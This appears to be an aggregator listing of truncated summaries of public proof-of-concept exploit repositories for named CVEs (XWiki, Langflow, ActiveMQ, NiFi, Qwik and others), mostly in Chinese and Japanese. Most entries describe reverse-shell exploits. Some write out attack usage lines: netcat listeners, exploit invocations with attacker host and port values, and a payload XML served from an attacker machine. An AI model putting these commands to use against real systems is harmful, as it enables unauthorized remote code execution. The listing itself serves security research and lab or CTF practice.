CVE-2025-14700-poc

CVE-2025-14700 POC Crafty Controller --login --password --lhost --lport 此脚本使用 netcat 在触发反向 Shell 载荷后设置监听器。如果您的监听机器上没有 netcat，它将无法工作。...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 漏洞利用脚本 🔥 简介 此仓库包含一个针对 React2Shell 漏洞（CVE-2025–55182）的利用脚本，该漏洞针对一种特定的 Node.js 原型污染 ，可导致远程代码执行（RCE） 。 该脚本专门设计用于通过向易受攻击的应用程序注入恶意载荷来建立 Netcat 反向 Shell 连接。 ⚠️ 免责声明 此工具仅供教育和研究目的 使用。 ⚙️ 前置条件 Python 3.x requests 库 安装 你可以使用 pip 安装所需的 Python 依赖项： root@kitploit: pip install...

php_reverse_shell

此存储库没有 README。...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass 提供了两种获取flag内容的方法： 1. 将其从宿主机复制到容器挂载目录中； 2. 使用反向shell获取它；...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ 重要（请先阅读） 本仓库包含一个 Java 概念验证（PoC），仅供 CTF / 实验环境使用。请勿对非您拥有或未经明确书面授权测试的系统运行此代码。未经授权的利用行为属违法行为。请仅在隔离环境（虚拟机、容器、私有 CTF/HTB 靶机）中使用。 前置条件 已安装 Java JDK（8+）（javac 和 java 已加入 PATH） 攻击机与目标机之间存在网络连通性（实验室 / CTF 网络） 在主机上准备好一个用于接收反向 shell 的监听器（例如 nc -lvnp ），并在尝试 PoC 前在单独的终端中运行。...

CVE-2024-48990-POC

CVE-2024-48990-POC 针对 CVE-2024-48990 与 needrestart 的权限提升漏洞的简单 PoC。 https://www.qualys.com/2024/11/19/needrestart/needrestart.txt 概述 这是在完成 HackTheBox 挑战 'Conversor' 时设计的。稍后会进行一些修改以使其更通用。我只是不喜欢我找到的实现方式，所以决定自己写一个。以后可能会添加更多内容。 注意 ：我可能会在之后更改实现，将其改为直接升级当前会话，而不是创建新的反向 shell。 用法 这是一个自动执行漏洞利用的 bash...

CVE-2026-33017-Exploit

Fireflow RCE Exploit Ejecución remota de código para Langflow a través del endpoint buildpublictmp. Explotación a través del endpoint público de construcción de flujo que ejecuta una reverse shell en el objetivo. Requisitos Python 3.8+ Biblioteca httpx Instalación: root@kitploit: pip install http...

xwiki-15.10.8-reverse-shell-cve-2025-24893

CVE-2025-24893 XWiki用リバースシェルエクスプロイト 免責事項: このスクリプトは教育目的および許可されたセキュリティテストのみ を意図しています。所有していない、または明示的なテスト許可がないシステムでは使用しない でください。悪用は違法かつ危険です。 説明 このPythonスクリプトは、XWikiバージョン15.10.10 までに影響するリモートコード実行脆弱性CVE-2025-24893 を悪用します。 テスト済みバージョン: XWiki 15.10.8 影響: ターゲットサーバー上での任意のコマンド実行を許可します。 Pythonバージョン: Python 3...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC 一个简短的 Python PoC，用于滥用可编辑的 Apache NiFi ExecuteSQL 处理器，通过 H2 RUNSCRIPT 负载触发远程命令执行，并通过 Bash 反向 shell 建立连接。 仅用于授权测试和研究。请勿对你不拥有或未经明确许可测试的系统使用。 功能 root@kitploit: ExecuteSQL processor update - H2 RUNSCRIPT fetch - Bash reverse shell - processo...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ 未认证 RCE PoC !WARNING 本仓库包含一个活跃的远程代码执行概念验证。请仅对您拥有或明确获授权测试的系统使用。作者对未经授权的使用或造成的损害不承担任何责任。 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm 的独立 Python 概念验证，该漏洞是 Qwik server$ RPC 反序列化机制中的一个未认证远程代码执行漏洞。 该 PoC 可执行主动标记探测、执行命令、读取或写入文本文件，并在 Linux 或 Windows 目标上请求反向 Shell。它仅使用 Python 标准库。 漏...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Havoc C2 でのリバースシェル取得 - SSRF と RCE の連鎖 ローカル IP とポートを使用してリバースシェルを取得し、CVE-2024-4157 POC と havocauthrce を連鎖させます。 使用方法 基本情報 root@kitploit: $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -d DOMAINNAME -n PROCESSNAME -ip INTERNALIP -...

BlueDoor

BlueDoor CTF 挑战 概述 挑战名称 ：BlueDoor CVE ：CVE-2017-0144（EternalBlue） 难度 ：3/5 类别 ：漏洞利用、Windows 作者 ：Seth Davis BlueDoor 模拟了一个 Windows 7 系统中的真实漏洞（EternalBlue - CVE-2017-0144）。目标是利用该漏洞，提升权限，并检索一个隐藏的标志。 要求 虚拟机软件 ：VMware、VirtualBox 或同等软件 操作系统 ：Windows 7（通过 OVA 文件）和 Kali Linux（或等效的攻击机） 工具...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 描述 此脚本是一个渗透测试工具，旨在利用 Apache Commons Text（版本 -param $PARAMETER -L $LHOST -P $LPORT 示例 root@kitploit: python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免责声明 此工具仅用于教育目的和经过授权的渗透测试。作者不对因使用此脚本而导致的任何滥用或损害负责。...

CVE-2024-4439

Exploit CVE-2024-4439 此Python脚本演示了针对漏洞CVE-2024-4439 的利用方法。你可以使用此脚本来测试存在漏洞的WordPress站点。 使用方法 开始之前 root@kitploit: git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-packages 使用以下命令运行脚本： root@kitploit: python3 exploit.py -u...

CVE-2023-38646

CVE-2023-38646 El script original proviene de securezeron Durante mis pruebas, descubrí que la shell inversa generada por este PoC fallaba en la explotación tras la codificación base6 debido al carácter '=' al final. Lo modifiqué ligeramente para resolver este problema. root@kitploit: 原始的生成revers...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 的 POC 仅用于教育目的。 使用方法：在你的机器上打开一个监听器 nc -lnvp 修改 perl 命令以匹配你的 IP 和端口。 启动脚本，你的监听器将收到一个反弹 shell。Python 脚本会超时，这是预期的。...

POC-exploit-for-Dolibarr

POC exploit for Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2021-22204

CVE-2021-22204 脆弱性 exiftool 任意コマンド実行 使用方法 1. exploit.pyファイルでリバースシェルを受け取るIP、ポートを設定後、docker compose upを実行します 2. Dockerシェルにアクセス後、/rootパスでpython3 exploit.pyファイルを実行すると、image.jpgファイルの攻撃コードが生成されます 3. 該当のimage.jpgファイルをダウンロードして使用します 参考...

cve-2023-4220-poc

CVE-2023-4220 Chamilio 漏洞利用 PoC 无耻地抄袭自 直接灵感来自：https://starlabs.sg/advisories/23/23-4220/ 用法： root@kitploit: Chamilio CVE-2023-4220 POC Exploit positional arguments: url The Chamilio Url. e.g. http://example.com options: -h, --help show this help message and exit -c C The command to execute. e.g...

CVE-2023-46604

CVE-2023-46604 根据环境要求，构建包含受害者机器和目标机器两个镜像的 docker-compose 在受害者机器上，启动 ActiveMQ 切换到攻击机器： • 开启 HTTP 服务以发送 poc： python3 -m http.server • 使用 netcat 监听到攻击机器的连接： nc -nlvp 4444 • 发送创建反向 shell 连接到攻击机器的 payload： python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中：...